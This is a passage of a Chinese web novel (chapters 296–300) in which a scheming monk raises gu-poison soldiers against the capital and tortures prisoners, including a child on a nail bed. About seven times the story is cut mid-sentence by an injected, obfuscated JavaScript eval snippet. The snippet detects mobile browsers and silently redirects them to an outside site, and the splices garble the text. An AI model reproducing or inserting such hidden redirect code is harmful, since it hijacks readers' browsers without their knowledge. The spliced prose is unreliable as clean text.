“没,没有啊大师……” 眉头紧皱,无尘大师用力思索着方才的一幕幕,却是一无所获。 区区三千南疆兵士,在他们的手下,杀起来简直如同砍瓜切菜一般,不要太轻松啊! “人数呢?人数能确定吗?” 天问大师的问题却还没结束,“有没有逃脱了的?” 无尘大师的脑袋这就摇得更厉害了。 “大师……这,这究竟是出了什么事?”他小心翼翼地又朝着天问大师看了过去。 虽然不知道究竟是怎么回事,但京中没有蛊兵出现,这显然是个好消息,天问大师长出了一口气,这才低声将禹山中发生的一切都说了出来。 无尘大师听罢,脸色已经难看得不能再难看,好像随时都有可能要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984335|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕过去一样。 “蛊兵……南疆王……他,他竟然……” 含混不清地说着话,无尘大师的一双眼睛里渐渐也挂上了恐惧和震惊混合的情绪。 天问大师点了点头,神情阴沉得无以复加。 “南疆王那个杂碎,竟然醒了过来。”他低声说着。 而且,还能做出这种安排,显然是已经清醒了有一段时间了。 “大师,那咱们现在该,该怎么办?” 无尘大师哆哆嗦嗦地说着话,眼珠子转来转去,写满了畏缩。 那些南疆蛊兵的威力,他们早有见识,可没想到,那南疆王竟然能冲破天问大师在他身上下的咒法,还把这些蛊兵,用到了京城中来! “血月当空时……” 天问大师这会儿顾不上看无尘大师的表情了,他正微微闭着双眼,一边念叨着千蛊同出的那几道口诀,一边手指翻飞,狂乱地掐算着什么。 无尘大师见状连忙捂住了嘴,就连呼吸都跟着放轻了几分。 这等时候,千万不能打扰了大师! 掐算了约莫一盏茶的时间,天问大师才睁开双眼,抬起头望着黑洞洞的暗牢石壁,目光却仿佛能将其穿透,看到更远处的天幕上去。 “今夜就是血月之时,那老杂种,有些本事。” 停了舞动着的手指,天问大师将双手背在身后,语气不辨喜怒。 从孟希越借兵的那一刻起,一切,恐怕便早就被安排好了。 南疆王,这个该死的**! 天问大师背着的手又不由得攥紧了几分。 “那……” 无尘大师闻言脸色又变得更白了,**两步,身子也跟着摇摇欲坠。 血月一出,蛊兵大成! 有这么一支十几万的队伍,人人皆能以一当百,况且还只听从主人一人的号令。 别说是京城里现在的这点人手,就算是把那二十万大梁的大军找回来,恐怕也不是对手! 这可怎么办才好? 天问大师这时候一巴掌拍在无尘大师肩头。 “既然如此,那就不能让血月现世!” 第二百九十六章 往事 “本督倒是想先问问岑师兄,有关南疆蛊术的这些知识,你都是从何处得来的?” 禹山之中,一行人席地而坐,背对着还在熊熊燃烧的山洞,谢无咎不紧不慢地将矛头对准了岑灵川。 “本督只听说岑师兄暂居江南,可不知道,那里也有和蛊术有关的东西?”他笑眯眯地道。 岑灵川皱了皱眉头,说话前先朝着叶晚竹看了一眼。 他知道这两位关系匪浅,但他隐居江南的事情,师妹也要说吗? 叶晚竹眼风微动,却并未开口。 她还没找到机会和谢无咎说师兄师姐的事情呢。 看来,这又是谢无咎不知道什么时候设下的一步棋。 “我知道的东西多了,难道还要事事都向九千岁禀报不成?” 这个时候,被谢无咎笑眯眯地一直盯着看,岑灵川的性子有些压不住了。 这位谢都督,好锐利的一双眼! “那倒不必。” 被岑灵川这般没好气地瞪着,谢无咎面上也不见恼怒,只是又抱起了双臂。 “只是本督想来,要坦陈一切之前,还需要岑师兄的帮忙。” “毕竟,这血蛊,可不是一般人能知道的。” 叶晚竹闻言,不由得又和岑灵川对了对视线。 她会知道血蛊,是小时候偷偷溜进师傅的书房,胡乱找书看的时候翻到的,还没来得及看完便被天清子大师把书拿走了。 叶晚竹还记得,师傅对她向来慈爱,就算是这样也不曾责备于她,只是那日频频走神,显得十分心不在焉。 到了后来,叶晚竹再去找那本书的时候,便再也寻不着痕迹了。 现在想来,那本书当初就被压在书房最深处的箱笼底部,摆明了就是师傅不想让别人看见,或许自己也不想看见。 叶晚竹拜师学艺得晚,那个时候,岑灵川和柳寻雁早已经出山云游江湖去了。 如此说来,更早之前,也就是在他们拜师的时候,师兄师姐对这本和血蛊有关的书,还有更多的了解? 叶晚竹望着岑灵川的目光不由得越发专注了起来。 被师妹这般看着,岑灵川的表情又变得阴沉了几分。 “岑师兄,我们时间不多。”谢无咎这时候又轻声道出一句。 “唉!” 抓了一把头发,岑灵川豁然站起,抱着胳膊在原地绕来绕去,眼中带着犹豫。 片刻之后,他终于下定了决心。 “也罢,事到如今,也没有什么不能说的了!但你们听过之后,要千万保密。” 岑灵川语气沉重,一双眼睛更是挨个扫视着面前几人。 叶晚竹带头点了点头,心里这会儿也不住地打起了鼓。 不论是听师兄说,还是谢无咎的话,这件事情,似乎都和师傅脱不了干系。 岑灵川清了清嗓子,目光游移,似乎是在思考要从什么地方开始说起。 “小师妹拜师最晚,那个时候,师傅都已经是隐居状态了,所以你应该不知道,关于师叔的事情吧?”他看着叶晚竹。 叶晚竹摇了摇头,不免有些惊讶,“还有师叔?” 从她知道天清子大师时开始,师傅便是独来独往,叶晚竹从未听说过师傅的师门都有些什么故事。 不过,如今想来,天清子大师的闭口不提,似乎本身就有些古怪。 岑灵川看着她若有所思的表情,点了点头。 “不错,我拜师的时候,师祖尚在,浮山派中人丁兴旺,还有一位小师叔,来自南疆。” 这个地名一出,在场众人的神情都变得专注了一些。 叶晚竹则是有些恍惚,浮山派,师傅的门派,这个名字在她印象里,从来都是冷冷清清的。 她一直以为门派向来如此,可没想到,浮山派居然还有人丁兴旺,热热闹闹的时候。 岑灵川的声音这时候又响了起来。 “其他师叔都大差不差,唯有这位南疆的苗师叔沉默寡言,除了日常修炼论武,就是躲在自己的屋子里,从来不见在外交际。我和几个同门顽劣,常常去他院子里,想看看他到底在做什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997897|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,几回过后却被师傅喊住。” “师傅说,苗师叔在屋中修**,他学的都是南疆秘术,不可外传的那种,让我们别招惹事端。” “我刚入门,什么都不懂,习武功课又忙,后来就不去了,也把这件事忘得一干二净,可忽然有一天,后院闹出了大乱子。” 说到这儿,岑灵川的眼神变得有些阴沉。 “我退出打探苗师叔的队伍之后,那几位师哥还在继续,那天晚上,他们趁苗师叔闭关,翻进了他的屋子,打开了一个白玉盒子。” “里面是什么东西?” 谢逸冷声发问,实则眼底一片沉凝,已经有了答案。 “血蛊。” 岑灵川冷笑一声,面上却没有半分笑意。 “准确地说,应该是还没有炼制成功的血蛊。” 他眼底闪着回忆的光,又很快变成了黯淡。 “那几个师哥全都死于血蛊之手,吸取了这么多鲜血的力量,血蛊迅速膨胀壮大,在后院之中要为自己找一个宿主。” “那天晚上,浮山派众人鏖战一夜,才将血蛊杀死,我躲在屋中,打开房门的时候,只能闻到铺天盖地的血腥味……” “再后来,师祖将闭关的苗师叔从山顶洞府抓了下来,对他行了七七四十九鞭的大刑,将他连人带东西,全部赶出了浮山派。” “也是那个时候,我们才知道,原来苗师叔谎称在屋中修**南疆秘术,实则,一直都在培育各色蛊虫,想拿浮山派众人的精血来替他炼蛊!” 叹了口气,岑灵川面上首次没了那玩世不恭的笑容,似乎被过去的阴霾深深笼罩着。 “那后来呢?又发生了什么?” 叶晚压低声音又开了口。 虽然这位苗师叔在浮山派闹了一场乱子,可听到这儿为止,浮山派的根本还在。 又发生了什么,浮山派才变成了她印象中的那般模样? 岑灵川短促地笑了一声,透着恨意。 “那姓苗的对师祖心生怨恨,三个月后,回来寻仇了!” 第二百九十七章 你到底是什么人? 接下来的事情便开始超出了所有人的预计。 天清子大师带着自己门下的弟子受邀出山,去替浮山派招纳学生,岑灵川和柳寻雁都在此列。 山下新鲜事多,岑灵川整日忙着游玩,一直到一封书信送来,方才彻底打破了美好的日子。 浮山派满门被屠,还被放火焚烧,整个山头,门派的所有修炼之地,全都化为灰烬! 得知这个消息,天清子大师连忙带着弟子们往回折返,忍着悲痛料理了浮山派众人的后事,又在山崖间发现了刚刚拜入师门的唯一幸存者——幽云**。 据幽云**的描述,天清子大师便将凶手和苗阳对上了号。 “……师傅用了几年时间,杀了苗阳,又如法炮制,屠了他整个门派,我记得好像是叫血月教吧。” 话说到此,岑灵川嘟哝了一声,又低低骂了几句。 “那教也不是什么好东西,人人炼蛊,都是和苗阳一样的阴损货色!” “再后来,师门大仇得报,师傅了却一桩心事,也没了更多的心思,就带着我们几个进山清修去了。” “幽云**不曾在浮山派真正修炼,他要走,师傅也没阻拦。” “再之后,便是叶老太君写信给师傅,请她下山到京城去了。” 惊心动魄的故事终于讲到末尾,叶晚竹眨了眨眼,吐出一口不知道从什么时候开始就憋在胸口的气。 原来,从这么早之前,血蛊便已经和他们有了联系。 怪不得师傅从来不提浮山派的事情! “我说完了,九千岁,现在该轮到你了吧?” 停顿了片刻好整理思绪,岑灵川又毫不拖拉地将目光再次转到谢无咎的身上。 他可是记得这位方才说过的话。 别想再拖延! 谢无咎垂着眉眼,似乎也正在思索自己方才听到的内容,直到被岑灵川点名,这才大梦初醒一般回过神来。 “多谢岑师兄不吝相告。” 依旧是在笑着,可谢无咎面上的表情,这会儿却是人人都能看得出并不太好。 “不过,本督还有几个问题想问。” 岑灵川抿着唇点头,眼神又变得怀疑起来。 这九千岁,不会是在故意磨蹭吧? 不过,等谢无咎的问题出了口,岑灵川便正色了起来。 谢无咎道:“关于那苗阳报复浮山派的线索,都是从幽云**口中而来的,是吗?” “……是。” 皱了皱眉,岑灵川又抬起头,“你这话是什么意思?” 谢无咎双手背后,目光环绕四周,最后在白云观的方向停了下来。 “巧得很,本督先前调查幽云**的时候,顺着他的身份多挖了一些,正好能和岑师兄的话对上。” 闻言,岑灵川不由得又挺直了后背。 “幽云**从一开始,便和天问大师之间有着不少联系。” 微微叹了口气,谢无咎的目光变得更远了些。 “你,你怎么……!”岑灵川瞪大双眼。 “这话说起来,可就有些长了。”谢无咎抿了抿唇,“和浮山派的过往一样,本督知道的这件事,也要追溯到皇子夺嫡的那个时候。” 叶晚竹眨了眨眼看去。 又是一桩陈年旧事? 岑灵川的表情这会儿却透着满满的茫然。 他上浮山派之前是当地富商的家中少爷,万事不用操心,后来等入了师门,又整天忙着修炼,再后来浮山派出事,他就更没有心思关注外界都发生了什么。 是以岑灵川只大概知道当今圣上登基前,京城内外乱过一阵,至于究竟是什么情况? 他一概不知! 叶晚竹其实也是一知半解,和岑灵川对视一眼,表情半斤八两。 见状,谢无咎也只能从头讲起。 “当年那些事情的知情人都说,夺嫡之乱的起源,是先帝有意立三皇子为储君,而大皇子自认为长,心怀不忿,这才要先下手为强,结果却搅乱了一池浑水。” “可大皇子素来只有宽厚贤名,却并没有多少治国理政的本领,甚至于在他成长的过程中,先帝也从不曾将朝中的关键政务交到他的手上。” “反而是三皇子,自来便被先帝带在身边教导,先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997898|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝立储之心从未过多动摇,大皇子又为什么会突然心生不忿?” “你,你等等啊……” 面对谢无咎抛出的问题,岑灵川双眼发直,忍不住地摆了摆手。 苍天在上,他原来是个二世祖,现在是个有武功的二世祖,这些你来我往的勾心斗角,他一听就头晕! 叶晚竹的神情倒是有些怔然。 若是她没记错的话,大皇子也是先皇后所出,虽然年长,但却身体不好,常年闭门谢客,清修念佛,以减轻身体的痛楚。 这样的一个人,生出争权夺利之心,细细想来,确实有些古怪。 等等,清修念佛? 似乎是想到了什么,叶晚竹猛地抬头朝谢无咎看了过去! 谢无咎点了点头,眉宇间拧起一道深深的褶皱。 “殿下所想,应是不错。”他低声道,“大皇子不喜与外界有过多往来,只是会到几处寺庙,去与僧人交谈,想来,便是在这个过程之中,认识了天问大师。” 果然! 叶晚竹忍不住一拍大腿! 这就说得通了! “是这老秃驴怂恿了大皇子?” 更有甚者,是天问大师直接越过大皇子,代替他做出了其后的那一系列事情! 谢无咎又点着头,笑容森冷。 “不仅是大皇子,京中其他皇子们起事之前,背后都多多少少地有天问大师的影子,皇子夺嫡,或许根本就是他设计的一场大戏!” 便如同用孟希越搅乱整个京城一般? 叶晚竹忽然感到背后冒起了一阵冷气,忍不住打了个哆嗦。 这天问大师的阴谋,竟然从这么早的时候就开始了? “等一下!” 就在这时,岑灵川的声音忽然响了起来。 不仅如此,他还一跃而起,叉着腰朝谢无咎走了几步,又围着他转来转去。 “要是你说的这些都是真的,那你又是怎么知道得这么清楚?” 皇子夺嫡,这都是十几年前的事情了,那个时候,这位九千岁才多大年纪? “你到底是什么人?” 第二百九十八章 目标:京城 岑灵川忍不住把这话问出了口。 这位九千岁瞧着和他们差不多的年纪,怎么会对皇子夺嫡那个时候的事情,知道得如此之清楚? 谢无咎正要开口说些什么,闻言又闭上了嘴,转头看向岑灵川,微微一笑。 “此乃宫廷秘事,自然在本督的执掌范围之内。” 顿了顿,他的目光又朝着叶晚竹而去。 “而正巧也是在那个时候,幽云**离开了浮山派,来到这禹山之中,创办了白云观,这时间如此巧合,让人不能不多想。” 他轻飘飘地又将话题扯回到了刚才的地方。 至于后面的那个问题,便被自动略过不提了。 岑灵川瞪大了双眼,正要控诉,叶晚竹却朝他递去了一个制止的眼神。 既然谢无咎有意不提,持续逼问他,也没什么意思。 况且,眼下也没有多少时间可以浪费。 触到她的目光,岑灵川悻悻地住了口。 不让问算了! “多谢殿下。” 谢无咎又笑了起来,将方才这一幕尽收眼底,他这会儿的笑容便有些得意的味道了。 岑灵川忍不住翻了个白眼。 说好不浪费时间,现在这是在干什么? “依谢都督所言,皇子夺嫡和浮山派的**,都是天问大师在背后兴风作浪而成?” 叶晚竹这时候又出了声,“那血蛊跟他又有什么关系?” 谢无咎幽幽地伸出了两根手指。 “此人图谋甚是不小,相信殿下已经能感觉得到,这秃驴的目标是整个天下,那南疆,自然也在他的计划之中。” 说着话,他放下一根手指,另外那根又摇晃了几下。 “这第二点,便是本督的猜测了。” “那秃驴对血蛊很有兴趣,一直在想方设法将其纳入自己手下,为此不惜挑动浮山派和那姓苗的蛊师之间的仇恨。” “可惜,他下手太狠,反而激起了天清子大师的仇恨,导致后来血月教被灭了门,这秃驴的计划,也不得不被迫中止。” “所以他才对我师傅有那么重的恨意?” 岑灵川听着听着入了神,这会儿又忍不住接话,还破口大骂,“这死秃驴!不安好心的东西!” “可血蛊还是出现了。” 叶晚竹这时候又朝着方才那峡谷的方向看了过去。 不仅出现,而且还声势浩大。 谢无咎的语气又变得凉凉的了。 “看来那秃驴并不是全知全能,算无遗策,经过这一回,他在信徒之间的地位,说不定要降低了。” 说着话,谢无咎眼底又现出了一抹沉思的神色。 就在这时,叶晚竹的胳膊忽然被轻轻地撞了一下,她转头看去,对上了岑灵川的眼睛。 用食指在嘴唇上比了个噤声的手势,岑灵川压低声音,贴在叶晚竹耳朵上说话。 “你有没有觉得,这九千岁对整件事情,有点过于了解了?” 京中,南疆,白云观。 凡是和眼下有关联的地方,好像都能被这位说出个所以然来! 这也有点太厉害了吧? “岑师兄还想问什么,不妨直接来问本督好了。” 叶晚竹还没来得及开口,谢无咎笑眯眯的声音便又响了起来。 岑灵川被他吓了一跳,随后又嗤笑一声,“问你?我刚才倒是问了,九千岁回答了吗?” 谢无咎但笑不语,眼中的情绪也有些微妙。 盯着他的表情看了几眼,岑灵川似乎也明白了过来。 他可以问,但回不回答,那是另外一回事! 怒极反笑,岑灵川忍不住晃起了脑袋,一时间不知道该说什么才好。 好油滑的一张嘴! “主,主子!” 半晌都没说话的谢逸这时候出了声,“您看那边!” 他手指的方向正是京城。 叶晚竹闻言也抬眸看去,随即又震惊地站起身来。 “是那些蛊兵?” 眼下他们在半山腰,依旧位于京城的高处,从这个角度看过去,密密麻麻的蛊兵队伍正朝着京城缓慢地靠近。 叶晚竹遇袭之后昏了过去,再醒来便已经到了山洞之中,不知道中间都发生了什么,见状转头朝左右看去。 “我命西北大军想尽一切办法,也要将这些蛊兵拦下,”谢无咎眉头微蹙,“看来,还是失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997899|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 败了。” “那咱们现在怎么办?” 望着那黑压压的队伍,岑灵川深吸了一口气。 这帮人往京城折返,一看就是不安好心啊! “血月出,蛊兵成,一切都是早就算好的。” 谢无咎又压低了声音,表情也变得凝重。 “得赶快回去,赶在蛊兵进城之前,疏散京中百姓,也许,一切还来得及!” —— “大师,咱们,咱们真的要这么做吗?” 京城,破败的皇宫门前,看着手下来来去去,不断将箱子搬上马车,再运往各个方向,无尘大师的脸色已经白得不能再白。 天问大师站在他身侧两步的位置,眉头紧皱,听着这话,转过头又露出一个阴沉的表情。 “是属下失言。” 触到他的目光,无尘大师忙不迭地低下头去,径直认错。 “这已经是没有办法的办法了。” 天问大师这次并未出声斥责,他抬头看向天空,微微西沉的日光昭示着夜晚就快要来临了。 看天色,今天晚上应该是个无风有月的好天气。 正适合阴谋诡计。 天问大师背在身后的双手便又紧紧地攥成了拳头。 “都准备得怎么样了?” 收回目光,不想再朝着上方的天空多看,天问大师低声发问。 “都准备好了!” 无尘大师这会儿狠狠地松了一口气,又连忙道,“咱们的人已经就绪,大师您要的人也转移到了马车之上,都灌了药,不会出差错的!” “嗯,”天问大师闻言,脸色终于有了些许缓和,“做的不错。” 无尘大师又小心翼翼地上前两步,“那,那‘孟世子’……” 他这说的显然不是真正的那个孟希越。 天问大师表情微滞,片刻后,忽然冷笑了一声。 “身为一国之君选好的继位者,京城有难,他怎么能置之不理?死守,才是为君之道。” 这就是要放弃他的意思了。 无尘大师不敢再说什么,这时候,一个手下快步跑了过来。 “大师,蛊兵已经到了城外五十里的地方!” 第二百九十九章 把人带过来! 天问大师闻言,顿时顾不上方才和无尘大师的这几句废话了。 “知道了,”他简短地一点头,“派人继续跟着!” 待那手下转身离开,天问大师才又转过头去。 “把那几位都请过来吧,”他静静地看着无尘大师,“是时候了。” 闻言,无尘大师的身子不知道为什么又哆嗦了一下。 “……是!” 一炷香的功夫之后,无尘大师带着几个手下,押着一行挣扎不断的人,又来到了东厂的暗牢之中。 “放开我!放开!” “你们这些死秃子,想干什么?” “松手!不然我让你们好看!” “……” 天问大师这会儿也坐在了那把属于谢无咎的软皮大椅上,听着由远及近传来的聒噪喊声,他微微皱着眉头,表情有些不快。 就在方才,手下再度来报,蛊兵已经走到了京城外三十里,按照这个速度,最多再有半个时辰,这支大军便能抵达京城。 而半个时辰之后,天色会完全黑下去,血月当空,一切都将成为定局。 他只有这一次机会了。 攥紧了桌上放着的茶杯,天问大师手掌用力,顷刻间就将杯子捏成了粉末。 为什么。 他怎么会让事情发展到眼下这步境地? “大师,人都带到了。” 就在这时,无尘大师的声音在耳边响起,天问大师回过神来,抬眼一扫站在自己面前的四五个人。 这些人有男有女,身上都穿着天牢的囚服,遍体鳞伤,形销骨立,眼神也带着长期被关押而产生的呆滞。 “你,你是什么人?抓我们到这儿来,是,是要干什么?” 和天问大师目光相接,其中一个妇人立刻用力瞪圆了自己的眼睛。 她又来回在暗牢之中扫视了一圈。 “谢无咎那个阉贼,他还想干什么?京城都失守了,他还不肯放过我们吗?他要不要脸!” 妇人劈头盖脸地咒骂着,显然认定了天问大师就是谢无咎的人。 听着她有心无力的骂声,天问大师的面上,倒是浮起了一丝淡淡的笑容。 “你是萧柳氏,萧家大房的大夫人,萧子易是你的夫君,萧子景是你的二弟,对不对?” 从容起身,天问大师向前两步,走到她的面前站定。 “你,你……” 忽然被这么询问身份,柳汝兰着实愣了一下,抬起头,一双茫然的眼睛朝着这陌生的和尚看了过去。 柳汝兰已经不知道自己被关在牢中有多长时间了。 当初她指使金婶子,对叶晚竹下手,却没想到被叶晚竹抓到了破绽,连主谋带从犯,将她们一干人等全都送进了大理寺。 柳汝兰起初还等着萧子易的承诺,只要她认下罪责,他很快就会救她出去。 可是她等啊,等啊,却什么都等不到! 不知道是哪一天,柳汝兰忽然清醒过来,她肯定是被萧子易那个王八蛋给骗了! 陷害叶晚竹的事情,萧子易才是那个罪魁祸首,幕后黑手,始作俑者啊! 柳汝兰不甘心,她想吵,想闹,想给自己翻案,整天没完没了地在大理寺的牢房里折腾。 只要给她一个机会,她要把萧子易的脑袋拧下来! 可柳汝兰所在的地方是死牢,她再怎么折腾也无人问津。 直到有一天,几个东厂的人找到她,跟她说,九千岁要秘密重审此案,希望柳汝兰作证配合。 配合? 她当然要配合! 柳汝兰没有半点犹豫便跟着那些人走了,本以为会见到谢无咎,谁知,对方又把她找了个不见天日的地方关了起来! 这地方还不如天牢的死囚刑室,那里好歹有饭吃,有水喝,闹得实在厉害,还有狱卒来骂人。 这地方漆黑一片,空空如也,除了饭菜会从一个小洞口里送进来,此外,任凭柳汝兰喊破嗓子,也没有半个人会出现! 该死的谢无咎! 这阉人向来护着叶晚竹,这是看她在天牢里过得还不够惨,所以特意要加把劲折磨她的吧! 柳汝兰一直都是这么想的,在那不知道是什么地方的暗室里,又不知道被关了多长时间,她一度以为,自己肯定要死在里面,烂在里面了! 可直到这会儿,柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005263|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汝兰才发觉出不对劲。 谢无咎是行事乖张,可她就是个妇人,无权无势,谢无咎想折磨她,还用得着这么偷偷摸摸的? 早就应该扒了她的皮去做灯笼啊! 那……她怕不是被人骗了吧? “是你吧,对不对?” 将一切都串联了起来,柳汝兰霍然抬起头,一双眼睛透着了然,死死地盯着眼前的和尚! “你是什么人?你,你又要干什么!”她声嘶力竭地吼着。 将柳汝兰方才这一系列表情变化都看在眼底,天问大师笑了笑,语气凉凉的。 “没看出来,柳大夫人还挺聪明。” 柳汝兰的确是他让人从天牢里带走的,大理寺那些酒囊饭袋,根本什么都没发现,她身边那个叫金婶子的奴仆,还有那两个沾亲带故的帮凶也是如此。 对叶晚竹来说,她报了仇,这几位便没有用处了。 可对天问大师来说,这几位,可是绝佳的……载体。 他的目光再次朝着几人挨个看了过去。 “你,你到底要干什么?” 金婶子也在其列,身边是儿子和娘家侄子,三个人缩成一团,不同于柳汝兰的气势高涨,这会儿都有些畏畏缩缩的。 三人入狱后的经历也和柳汝兰差不多,只是早就被吓破了胆子。 “我求求你,放了我们吧……” 哆嗦着身子,金婶子试图跪下来给天问大师磕头,却又被身后的守卫拦住。 天问大师不耐地啧了一声。 “你这个样子可不行,”他朝着金婶子摇头,“办不成我要的差事,耽搁了我的大事,我会很生气的。” 这话金婶子听不懂,但这威胁的意思,金婶子倒是能听得一清二楚! 她更是双腿发软,哆哆嗦嗦地连话都说不出来了。 “废物。” 轻蔑地收回目光,天问大师又看向了柳汝兰。 “时间紧急,你先打个样吧。” “来人,把人带上来!” 打什么样? 带什么人? 柳汝兰顺着天问大师的话看过去,目光猛地凝住了—— 第三百章 大师,成了! “卓儿!然儿!” 柳汝兰目眦欲裂地看着自己的两个儿子,一前一后地被抬了进来。 准确地说,是被困住双手双脚,倒吊在两根竹竿上,像两头待宰的猪一样,被抬进了这间暗牢之中! “娘——” “救我啊娘!” 听见柳汝兰的声音,萧卓和萧然先是一愣,随后便争先恐后地哭嚎了起来! “你要干什么!” 柳汝兰听得心都碎了,转头便朝着天问大师尖叫起来,“放开我儿子!” “对,继续。” 柳汝兰的愤怒一点儿都没影响到天问大师的情绪,反而还让他变得更加笑容满面。 他背着双手,后退两步,好整以暇地欣赏着柳汝兰此时脸上的表情。 “没看出来啊,你和萧子易是一对只会为自己盘算的夫妻,可却对这两个儿子有这么深的感情?”他的语气里带着满满的嘲讽。 “我呸!” 柳汝兰被人反剪着双手,桎梏得动弹不得,只能朝着天问大师吐口水! “你就是个死秃驴,我们萧家的事情,你能看懂吗你?” “我警告你,识相的,就马上放开我儿子!否则,否则……” 话说到这儿,柳汝兰浑身哆嗦,有些继续不下去了。 “否则,你能怎么样?” 看出了她的心虚,天问大师的笑容变得越发嘲讽。 “你是不是还不知道?”他忽然又恍然大悟拍了拍巴掌,“萧子景**,景平王府也完蛋了,你觉得,还有谁能来帮你的忙?叶晚竹?” 说到这个名字,天问大师的轻蔑已经完全不加掩饰。 柳汝兰则是狠狠地哽住了。 萧子景……**? 他居然**? 怎么会这样! 身子一软,柳汝兰这会儿也想朝着地上坐下去了。 方才被带到东厂暗牢的这一路上,她也看到了京城如今地狱一般的景象。 这到底都发生了什么? “诶?你的情绪呢?” 胳膊上忽然多出两只手,强硬地将柳汝兰从地上拽了起来,动作之大,让她忍不住狠狠地倒吸了一口冷气! 天问大师面上的笑容变淡了一些,眉头微皱,表情是说不出的严厉。 “继续啊?不是要让我好看吗?我可等着呢!” 看着他近在咫尺的脸,还有这诡异的要求,柳汝兰愣了愣,随即身子发软得更厉害了。 这秃子,这秃子身上这会儿散发着一种非常危险的气息! 他不是谢无咎的手下,这人是什么来头? 越想越不明白,柳汝兰的气势也跟着越发低落下去。 儿子被抓了,景平王府也完了,她还能怎么样? 天问大师这会儿又在不耐烦地啧啧出声,他反手就是一个耳光,啪地一声扇在了柳汝兰的脸上。 “你也是个废物!”他厉声喝着,面上头一次出现了极其不耐的情绪。 后退两步,天问大师又看了一眼柳汝兰,面上浮起了一个狞笑。 “既然如此,那我也就只能这么做了,是你自找的。” “把这两个小朋友,带过来吧!” 他一边说着话,一边头也不回地朝暗牢深处走。 天问大师一声令下,几个手下便又扛着还在拼命哭嚎的萧卓和萧然往前走去。 “你们要干什么!还我儿子!” 柳汝兰刚尖叫了一声,身子也被拎了起来,跌跌撞撞地跟在两人身后。 天问大师启动了几道机关,一直走到暗牢最深处,方才在几个怪模怪样的刑具前停下了脚步。 他一招手,手下先抬着萧然上前,要将他固定在上面。 “娘!救我啊娘!” 萧然又是哭喊又是挣扎,涨红了脸色,却撼动不得这几个武僧半分,只能活生生地被按倒在那钉床之上! 锋利的铁钉瞬间刺破皮肤,鲜血顿时流出,萧然的哭声变得凄厉了几分,一直在挣扎的动作却不得不停了下来。 他好疼,好疼啊! “秃驴!” 亲眼见着这一幕,柳汝兰的脑子传来轰隆一声炸响! 没命地挣扎着,她放声大吼,在石头做的暗牢里激起阵阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005264|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回声! “你放了我儿子!放开然儿!” 笑容又回到了天问大师的脸上,他背着双手走到钉床边,饶有兴致地伸手轻轻地摸了一下那铁钉的边缘。 “唔,”他满意地笑了笑,“按照这个速度,最多两盏茶的时间,你的小儿子,就要变成一具干尸了哦。” 柳汝兰双眼猩红,呼哧呼哧地喘着粗气。 